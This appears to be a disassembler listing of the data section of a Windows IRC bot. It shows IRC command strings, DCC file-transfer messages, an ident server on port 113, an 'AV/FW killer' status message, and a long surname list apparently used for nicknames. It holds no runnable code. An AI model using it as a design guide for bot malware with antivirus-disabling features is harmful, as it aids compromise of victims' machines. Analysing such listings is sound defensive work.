asc_42FC60	db '-'                  ; DATA XREF: sub_40274D+860o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
dword_42FCA4	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_40274D+830o
		dd 0A0Dh
; char dword_42FCBC
dword_42FCBC	dd 4E495001h, 47h	; DATA XREF: sub_40274D+802o
dword_42FCC4	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_40274D+7F7o
		dd 0D017325h, 0Ah
; char dword_42FCE0
dword_42FCE0	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_40274D+7C9o
; char asc_42FCEC[]
asc_42FCEC	db '#',0                ; DATA XREF: sub_40274D+755o
					; sub_40E916+1Bo
		align 10h
unk_42FCF0	db  2Dh	; -		; DATA XREF: sub_40274D+72Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_31	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
; char asc_42FD2C[]
asc_42FD2C	db '-'                  ; DATA XREF: sub_40274D+6CFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
; char aSend_0[]
aSend_0		db 'SEND',0             ; DATA XREF: sub_40274D+638o
		align 4
; char dword_42FD64
dword_42FD64	dd 43434401h, 0		; DATA XREF: sub_40274D+61Do
; char a332[]
a332		db '332',0              ; DATA XREF: sub_40274D+5BAo
					; sub_40274D+9ECo ...
; char asc_42FD70[]
asc_42FD70	db '-'                  ; DATA XREF: sub_40274D+54Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 4
unk_42FD94	db  2Dh	; -		; DATA XREF: sub_40274D+52Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
; char a353[]
a353		db '353',0              ; DATA XREF: sub_40274D+4F9o
; char aQuit[]
aQuit		db 'QUIT',0             ; DATA XREF: sub_40274D+4C2o
					; sub_411B17+5A3o
		align 10h
; char aPart[]
aPart		db 'PART',0             ; DATA XREF: sub_40274D+4B1o
					; sub_40274D+564o
		align 4
; char aSS_1[]
aSS_1		db ':%s%s',0            ; DATA XREF: sub_40274D+48Co
		align 10h
; char aNick[]
aNick		db 'NICK',0             ; DATA XREF: sub_40274D+378o
		align 4
; char aNoticeSS[]
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+322o
					; sub_40274D+585o
; char asc_42FDE8[]
asc_42FDE8	db '-'                  ; DATA XREF: sub_40274D+307o
					; sub_40274D+2C92o ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
; char aKick[]
aKick		db 'KICK',0             ; DATA XREF: sub_40274D+2ACo
		align 10h
; char aNickS[]
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_40274D+263o
					; sub_40274D+7874o ...
		align 4
; char a433[]
a433		db '433',0              ; DATA XREF: sub_40274D+23Bo
					; sub_41A6AE:loc_41A723o
; char a[]
a@:					; DATA XREF: sub_40274D+213o
		unicode	0, <@>,0
; char a302_0[]
a302_0		db '302',0              ; DATA XREF: sub_40274D+203o
; char a005[]
a005		db '005',0              ; DATA XREF: sub_40274D+1EEo
; char a001[]
a001		db '001',0              ; DATA XREF: sub_40274D+1D9o
; char aJoinSS[]
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+1BEo
					; sub_40274D+365o ...
		align 10h
; char aPongS[]
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_40274D+1A1o
		align 4
; char Str1[]
Str1		db 'PING',0             ; DATA XREF: sub_40274D+18Ao
					; sub_41A6AE+4Eo
		align 4
; char Delim[]
Delim:					; DATA XREF: sub_40274D+17Bo
					; sub_40274D+7981o
		unicode	0, <!>,0
; char asc_42FE58[]
asc_42FE58:				; DATA XREF: sub_40274D+A9o
					; sub_40274D+D04o ...
		unicode	0, < >,0
; char SubStr[]
SubStr		db ' :',0               ; DATA XREF: sub_40274D+87o
					; sub_40274D:loc_403191o
		align 10h
; char asc_42FE60[]
asc_42FE60	db '-'                  ; DATA XREF: WinMain(x,x,x,x)+452o
		db 3, 34h, 2
		dd 6E656469h, 2036474h
aFailedToSta_32	db '- Failed to start server, error: <%d>.',0
		align 4
; char asc_42FE94[]
asc_42FE94	db '-'                  ; DATA XREF: WinMain(x,x,x,x)+407o
		db 3, 34h, 2
		dd 6E656469h, 2036474h
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 10h
; char asc_42FEC0[]
asc_42FEC0	db '-'                  ; DATA XREF: WinMain(x,x,x,x)+3DAo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 10h
; char asc_42FF00[]
asc_42FF00	db '-'                  ; DATA XREF: WinMain(x,x,x,x)+389o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
; char asc_42FF24[]
asc_42FF24	db '-'                  ; DATA XREF: WinMain(x,x,x,x)+34Eo
		db 3, 34h, 2
		dd 6E69616Dh, 202D0203h, 20746F42h, 72617473h, 2E646574h
		dd 0
; char aSDS[]
aSDS		db '%s %d "%s"',0       ; DATA XREF: WinMain(x,x,x,x)+279o
		align 4
; char aSS_0[]
aSS_0		db '%s\%s',0            ; DATA XREF: WinMain(x,x,x,x)+182o
					; sub_4185EA+7Eo ...
		align 4
; char aSS[]
aSS		db '%s%s',0             ; DATA XREF: WinMain(x,x,x,x)+106o
					; sub_412135+4CFo ...
		align 4
aZytowski	db 'Zytowski',0         ; DATA XREF: .data:0043D750o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: .data:0043D74Co
		align 10h
aZurn		db 'Zurn',0             ; DATA XREF: .data:0043D748o
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: .data:0043D744o
aZoldak		db 'Zoldak',0           ; DATA XREF: .data:0043D740o
		align 4
aZerbini	db 'Zerbini',0          ; DATA XREF: .data:0043D73Co
aZegans		db 'Zegans',0           ; DATA XREF: .data:0043D738o
		align 4
aZangwill	db 'Zangwill',0         ; DATA XREF: .data:0043D734o
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: .data:0043D730o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: .data:0043D72Co
aYu		db 'Yu',0               ; DATA XREF: .data:0043D728o
		align 4
aYoukSee	db 'Youk-See',0         ; DATA XREF: .data:0043D724o
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: .data:0043D720o
aYoffe		db 'Yoffe',0            ; DATA XREF: .data:0043D71Co
		align 10h
aYetiv		db 'Yetiv',0            ; DATA XREF: .data:0043D718o
		align 4
aYesson		db 'Yesson',0           ; DATA XREF: .data:0043D714o
		align 10h
aYedidia	db 'Yedidia',0          ; DATA XREF: .data:0043D710o
aYbarra		db 'Ybarra',0           ; DATA XREF: .data:0043D70Co
		align 10h
aYates		db 'Yates',0            ; DATA XREF: .data:0043D708o
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: .data:0043D704o
aYankee		db 'Yankee',0           ; DATA XREF: .data:0043D700o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: .data:0043D6FCo
		align 10h
aYacono		db 'Yacono',0           ; DATA XREF: .data:0043D6F8o
		align 4
aVotey		db 'Votey',0            ; DATA XREF: .data:0043D6F4o
		align 10h
byte_430020	db 56h			; DATA XREF: .data:0043D6F0o
aOrhaus		db 'orhaus',0           ; DATA XREF: .data:off_43FE7Co
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: .data:0043D6ECo
		align 4
aWoods		db 'Woods',0            ; DATA XREF: .data:0043D6E8o
		align 10h
aWooden		db 'Wooden',0           ; DATA XREF: .data:0043D6E4o
		align 4
aWoo		db 'Woo',0              ; DATA XREF: .data:0043D6E0o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: .data:0043D6DCo
					; .rdata:00432F90o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: .data:0043D6D8o
					; .data:off_43E4C8o
		align 10h
aVoigt		db 'Voigt',0            ; DATA XREF: .data:0043D6D4o
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: .data:0043D6D0o
aVitali		db 'Vitali',0           ; DATA XREF: .data:0043D6CCo
		align 4
aWilson		db 'Wilson',0           ; DATA XREF: .data:0043D6C8o
		align 10h
aWillstatter	db 'Willstatter',0      ; DATA XREF: .data:0043D6C4o
aVillarreal	db 'Villarreal',0       ; DATA XREF: .data:0043D6C0o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: .data:0043D6BCo
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: .data:0043D6B8o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: .data:0043D6B4o
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: .data:0043D6B0o
aWilder		db 'Wilder',0           ; DATA XREF: .data:0043D6ACo
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: .data:0043D6A8o
aViens		db 'Viens',0            ; DATA XREF: .data:0043D6A4o
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: .data:0043D6A0o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: .data:0043D69Co
aViano		db 'Viano',0            ; DATA XREF: .data:0043D698o
		align 10h
aViana		db 'Viana',0            ; DATA XREF: .data:0043D694o
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: .data:0043D690o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: .data:0043D68Co
		align 4
aWhite		db 'White',0            ; DATA XREF: .data:0043D688o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: .data:0043D684o
aWhately	db 'Whately',0          ; DATA XREF: .data:0043D680o
aWetzel		db 'Wetzel',0           ; DATA XREF: .data:0043D67Co
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: .data:0043D678o
aVerghese	db 'Verghese',0         ; DATA XREF: .data:0043D674o
		align 10h
aVenne		db 'Venne',0            ; DATA XREF: .data:0043D670o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: .data:0043D66Co
aWelsh		db 'Welsh',0            ; DATA XREF: .data:0043D668o
		align 4
aWelles		db 'Welles',0           ; DATA XREF: .data:0043D664o
		align 10h
aVelasquez	db 'Velasquez',0        ; DATA XREF: .data:0043D660o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: .data:0043D65Co
		align 4
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: .data:0043D658o
		align 4
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: .data:0043D654o
		align 10h
aWeingarten	db 'Weingarten',0       ; DATA XREF: .data:0043D650o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: .data:0043D64Co
		align 4
aWaugh		db 'Waugh',0            ; DATA XREF: .data:0043D648o
		align 10h
aVasquez	db 'Vasquez',0          ; DATA XREF: .data:0043D644o
aWasowska	db 'Wasowska',0         ; DATA XREF: .data:0043D640o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: .data:0043D63Co
		align 10h
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: .data:0043D638o
		align 10h
aVandenberg	db 'Vandenberg',0       ; DATA XREF: .data:0043D634o
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: .data:0043D630o
aVanallen	db 'vanAllen',0         ; DATA XREF: .data:0043D62Co
		align 10h
aWalter		db 'Walter',0           ; DATA XREF: .data:0043D628o
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: .data:0043D624o
		align 4
aWales		db 'Wales',0            ; DATA XREF: .data:0043D620o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: .data:0043D61Co
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: .data:0043D618o
aWaite		db 'Waite',0            ; DATA XREF: .data:0043D614o
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: .data:0043D610o
		align 10h
aUzuner		db 'Uzuner',0           ; DATA XREF: .data:0043D60Co
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: .data:0043D608o
		align 10h
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: .data:0043D604o
		align 10h
aUrban		db 'Urban',0            ; DATA XREF: .data:0043D600o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: .data:0043D5FCo
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: .data:0043D5F8o
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: .data:0043D5F4o
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: .data:0043D5F0o
		align 10h
aTwells		db 'Twells',0           ; DATA XREF: .data:0043D5ECo
		align 4
aTuttle		db 'Tuttle',0           ; DATA XREF: .data:0043D5E8o
		align 10h
aTurek		db 'Turek',0            ; DATA XREF: .data:0043D5E4o
		align 4
aTurano		db 'Turano',0           ; DATA XREF: .data:0043D5E0o
		align 10h
aTukan		db 'Tukan',0            ; DATA XREF: .data:0043D5DCo
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: .data:0043D5D8o
		align 10h
aTuck		db 'Tuck',0             ; DATA XREF: .data:0043D5D4o
		align 4
aTsukurov	db 'Tsukurov',0         ; DATA XREF: .data:0043D5D0o
		align 4
aTsomides	db 'Tsomides',0         ; DATA XREF: .data:0043D5CCo
		align 10h
aTsiatis	db 'Tsiatis',0          ; DATA XREF: .data:0043D5C8o
aTruss		db 'Truss',0            ; DATA XREF: .data:0043D5C4o
		align 10h
aTroy		db 'Troy',0             ; DATA XREF: .data:0043D5C0o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: .data:0043D5BCo
aTringali	db 'Tringali',0         ; DATA XREF: .data:0043D5B8o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: .data:0043D5B4o
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: .data:0043D5B0o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: .data:0043D5ACo
		align 4
aToye		db 'Toye',0             ; DATA XREF: .data:0043D5A8o
		align 10h
aTowler		db 'Towler',0           ; DATA XREF: .data:0043D5A4o
		align 4
aTorske		db 'Torske',0           ; DATA XREF: .data:0043D5A0o
		align 10h
aTorresi	db 'Torresi',0          ; DATA XREF: .data:0043D59Co
aTopulos	db 'Topulos',0          ; DATA XREF: .data:0043D598o
aToomer		db 'Toomer',0           ; DATA XREF: .data:0043D594o
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: .data:0043D590o
aTolman		db 'Tolman',0           ; DATA XREF: .data:0043D58Co
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: .data:0043D588o
		align 10h
aTollestrup	db 'Tollestrup',0       ; DATA XREF: .data:0043D584o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: .data:0043D580o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: .data:0043D57Co
aTill		db 'Till',0             ; DATA XREF: .data:0043D578o
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: .data:0043D574o
aThroop		db 'Throop',0           ; DATA XREF: .data:0043D570o
		align 4
aThomsen	db 'Thomsen',0          ; DATA XREF: .data:0043D56Co
aThisted	db 'Thisted',0          ; DATA XREF: .data:0043D568o
aThibault	db 'Thibault',0         ; DATA XREF: .data:0043D564o
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: .data:0043D560o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: .data:0043D55Co
		align 4
aThan		db 'Than',0             ; DATA XREF: .data:0043D558o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: .data:0043D554o
		align 10h
aTenney		db 'Tenney',0           ; DATA XREF: .data:0043D550o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: .data:0043D54Co
		align 10h
aTemes		db 'Temes',0            ; DATA XREF: .data:0043D548o
		align 4
aTeague		db 'Teague',0           ; DATA XREF: .data:0043D544o
		align 10h
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: .data:0043D540o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: .data:0043D53Co
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: .data:0043D538o
aTatar		db 'Tatar',0            ; DATA XREF: .data:0043D534o
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: .data:0043D530o
		align 10h
aTandler	db 'Tandler',0          ; DATA XREF: .data:0043D52Co
aTambiah	db 'Tambiah',0          ; DATA XREF: .data:0043D528o
aTalaugon	db 'Talaugon',0         ; DATA XREF: .data:0043D524o
		align 4
aTai		db 'Tai',0              ; DATA XREF: .data:0043D520o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: .data:0043D51Co
aSwindle	db 'Swindle',0          ; DATA XREF: .data:0043D518o
aSweetser	db 'Sweetser',0         ; DATA XREF: .data:0043D514o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: .data:0043D510o
		align 4
aSurdam		db 'Surdam',0           ; DATA XREF: .data:0043D50Co
		align 10h
aSuo		db 'Suo',0              ; DATA XREF: .data:0043D508o
aSumner		db 'Sumner',0           ; DATA XREF: .data:0043D504o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: .data:0043D500o
		align 4
aStringer	db 'Stringer',0         ; DATA XREF: .data:0043D4FCo
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: .data:0043D4F8o
aStrauch	db 'Strauch',0          ; DATA XREF: .data:0043D4F4o
aStrange	db 'Strange',0          ; DATA XREF: .data:0043D4F0o
aStott		db 'Stott',0            ; DATA XREF: .data:0043D4ECo
		align 4
aStorer		db 'Storer',0           ; DATA XREF: .data:0043D4E8o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: .data:0043D4E4o
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: .data:0043D4E0o
aStockwell	db 'Stockwell',0        ; DATA XREF: .data:0043D4DCo
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: .data:0043D4D8o
		align 4
aStock		db 'Stock',0            ; DATA XREF: .data:0043D4D4o
		align 10h
aStillwell	db 'Stillwell',0        ; DATA XREF: .data:0043D4D0o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: .data:0043D4CCo
		align 4
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: .data:0043D4C8o
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: .data:0043D4C4o
aStephanian	db 'Stephanian',0       ; DATA XREF: .data:0043D4C0o
		align 10h
aSteiner	db 'Steiner',0          ; DATA XREF: .data:0043D4BCo
aStefani	db 'Stefani',0          ; DATA XREF: .data:0043D4B8o
aStatlender	db 'Statlender',0       ; DATA XREF: .data:0043D4B4o
		align 4
aStates		db 'States',0           ; DATA XREF: .data:0043D4B0o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: .data:0043D4ACo
		align 4
aStang		db 'Stang',0            ; DATA XREF: .data:0043D4A8o
		align 4
aStam		db 'Stam',0             ; DATA XREF: .data:0043D4A4o
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: .data:0043D4A0o
aStmartin	db 'StMartin',0         ; DATA XREF: .data:0043D49Co
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: .data:0043D498o
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: .data:0043D494o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: .data:0043D490o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: .data:0043D48Co
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: .data:0043D488o
aSpence		db 'Spence',0           ; DATA XREF: .data:0043D484o
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: .data:0043D480o
aSpaulding	db 'Spaulding',0        ; DATA XREF: .data:0043D47Co
		align 4
aSparrow	db 'Sparrow',0          ; DATA XREF: .data:0043D478o
aSpanier	db 'Spanier',0          ; DATA XREF: .data:0043D474o
aSoultanian	db 'Soultanian',0       ; DATA XREF: .data:0043D470o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: .data:0043D46Co
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: .data:0043D468o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: .data:0043D464o
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: .data:0043D460o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: .data:0043D45Co
		align 10h
aSommariva	db 'Sommariva',0        ; DATA XREF: .data:0043D458o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: .data:0043D454o
		align 4
aSolon		db 'Solon',0            ; DATA XREF: .data:0043D450o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: .data:0043D44Co
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: .data:0043D448o
		align 10h
aSniffen	db 'Sniffen',0          ; DATA XREF: .data:0043D444o
aSmilow		db 'Smilow',0           ; DATA XREF: .data:0043D440o
		align 10h
aSlowe		db 'Slowe',0            ; DATA XREF: .data:0043D43Co
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: .data:0043D438o
		align 10h
aSkoda		db 'Skoda',0            ; DATA XREF: .data:0043D434o
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: .data:0043D430o
		align 10h
aSkane		db 'Skane',0            ; DATA XREF: .data:0043D42Co
		align 4
aSites		db 'Sites',0            ; DATA XREF: .data:0043D428o
		align 10h
aSirilli	db 'Sirilli',0          ; DATA XREF: .data:0043D424o
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: .data:0043D420o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: .data:0043D41Co
		align 10h
aSilverman	db 'Silverman',0        ; DATA XREF: .data:0043D418o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: .data:0043D414o
		align 4
aSigini		db 'Sigini',0           ; DATA XREF: .data:0043D410o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: .data:0043D40Co
aSiesto		db 'Siesto',0           ; DATA XREF: .data:0043D408o
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: .data:0043D404o
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: .data:0043D400o
aShia		db 'Shia',0             ; DATA XREF: .data:0043D3FCo
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: .data:0043D3F8o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: .data:0043D3F4o
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: .data:0043D3F0o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: .data:0043D3ECo
		align 10h
aSheats		db 'Sheats',0           ; DATA XREF: .data:0043D3E8o
		align 4
aShea		db 'Shea',0             ; DATA XREF: .data:0043D3E4o
		align 10h
aShavelson	db 'Shavelson',0        ; DATA XREF: .data:0043D3E0o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: .data:0043D3DCo
aShar		db 'Shar',0             ; DATA XREF: .data:0043D3D8o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: .data:0043D3D4o
aShankland	db 'Shankland',0        ; DATA XREF: .data:0043D3D0o
		align 10h
aShakis		db 'Shakis',0           ; DATA XREF: .data:0043D3CCo
		align 4
aShaikh		db 'Shaikh',0           ; DATA XREF: .data:0043D3C8o
		align 10h
aSeyfert	db 'Seyfert',0          ; DATA XREF: .data:0043D3C4o
aSexton		db 'Sexton',0           ; DATA XREF: .data:0043D3C0o
		align 10h
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: .data:0043D3BCo
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: .data:0043D3B8o
aSen		db 'Sen',0              ; DATA XREF: .data:0043D3B4o
aSelvage	db 'Selvage',0          ; DATA XREF: .data:0043D3B0o
aSekler		db 'Sekler',0           ; DATA XREF: .data:0043D3ACo
		align 4
aSegal		db 'Segal',0            ; DATA XREF: .data:0043D3A8o
		align 10h
aSeeber		db 'Seeber',0           ; DATA XREF: .data:0043D3A4o
		align 4
aSeaton		db 'Seaton',0           ; DATA XREF: .data:0043D3A0o
		align 10h
aScudder	db 'Scudder',0          ; DATA XREF: .data:0043D39Co
aScovel		db 'Scovel',0           ; DATA XREF: .data:0043D398o
		align 10h
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: .data:0043D394o
aSchwan		db 'Schwan',0           ; DATA XREF: .data:0043D390o
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: .data:0043D38Co
		align 10h
aSchutte	db 'Schutte',0          ; DATA XREF: .data:0043D388o
aSchuman	db 'Schuman',0          ; DATA XREF: .data:0043D384o
aSchossberger	db 'Schossberger',0     ; DATA XREF: .data:0043D380o
		align 10h
aSchmitt	db 'Schmitt',0          ; DATA XREF: .data:0043D37Co
aSchilling	db 'Schilling',0        ; DATA XREF: .data:0043D378o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: .data:0043D374o
		align 10h
aSchiano	db 'Schiano',0          ; DATA XREF: .data:0043D370o
aScheiner	db 'Scheiner',0         ; DATA XREF: .data:0043D36Co
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: .data:0043D368o
aScharf		db 'Scharf',0           ; DATA XREF: .data:0043D364o
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: .data:0043D360o
		align 10h
aScarponi	db 'Scarponi',0         ; DATA XREF: .data:0043D35Co
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: .data:0043D358o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: .data:0043D354o
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: .data:0043D350o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: .data:0043D34Co
		align 4
aSatin		db 'Satin',0            ; DATA XREF: .data:0043D348o
		align 4
aSase		db 'Sase',0             ; DATA XREF: .data:0043D344o
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: .data:0043D340o
aSarin		db 'Sarin',0            ; DATA XREF: .data:0043D33Co
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: .data:0043D338o
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: .data:0043D334o
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: .data:0043D330o
aSamson		db 'Samson',0           ; DATA XREF: .data:0043D32Co
		align 4
aSali		db 'Sali',0             ; DATA XREF: .data:0043D328o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: .data:0043D324o
		align 4
aSafire		db 'Safire',0           ; DATA XREF: .data:0043D320o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: .data:0043D31Co
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: .data:0043D318o
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: .data:0043D314o
aRush		db 'Rush',0             ; DATA XREF: .data:0043D310o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: .data:0043D30Co
		align 10h
aRuderman	db 'Ruderman',0         ; DATA XREF: .data:0043D308o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: .data:0043D304o
		align 4
aRu		db 'Ru',0               ; DATA XREF: .data:0043D300o
		align 4
aRoyal		db 'Royal',0            ; DATA XREF: .data:0043D2FCo
		align 10h
aRow		db 'Row',0              ; DATA XREF: .data:0043D2F8o
aRonen		db 'Ronen',0            ; DATA XREF: .data:0043D2F4o
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: .data:0043D2F0o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: .data:0043D2ECo
aRocha		db 'Rocha',0            ; DATA XREF: .data:0043D2E8o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: .data:0043D2E4o
		align 10h
aRivera		db 'Rivera',0           ; DATA XREF: .data:0043D2E0o
		align 4
aRish		db 'Rish',0             ; DATA XREF: .data:0043D2DCo
		align 10h
aRineer		db 'Rineer',0           ; DATA XREF: .data:0043D2D8o
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: .data:0043D2D4o
		align 10h
aRielly		db 'Rielly',0           ; DATA XREF: .data:0043D2D0o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: .data:0043D2CCo
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: .data:0043D2C8o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: .data:0043D2C4o
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: .data:0043D2C0o
aRenick		db 'Renick',0           ; DATA XREF: .data:0043D2BCo
		align 4
aRemak		db 'Remak',0            ; DATA XREF: .data:0043D2B8o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: .data:0043D2B4o
aCunningham	db 'Cunningham',0       ; DATA XREF: .data:0043D2B0o
		align 10h
aReedquist	db 'Reedquist',0        ; DATA XREF: .data:0043D2ACo
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: .data:0043D2A8o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: .data:0043D2A4o
aRapple		db 'Rapple',0           ; DATA XREF: .data:0043D2A0o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: .data:0043D29Co
		align 4
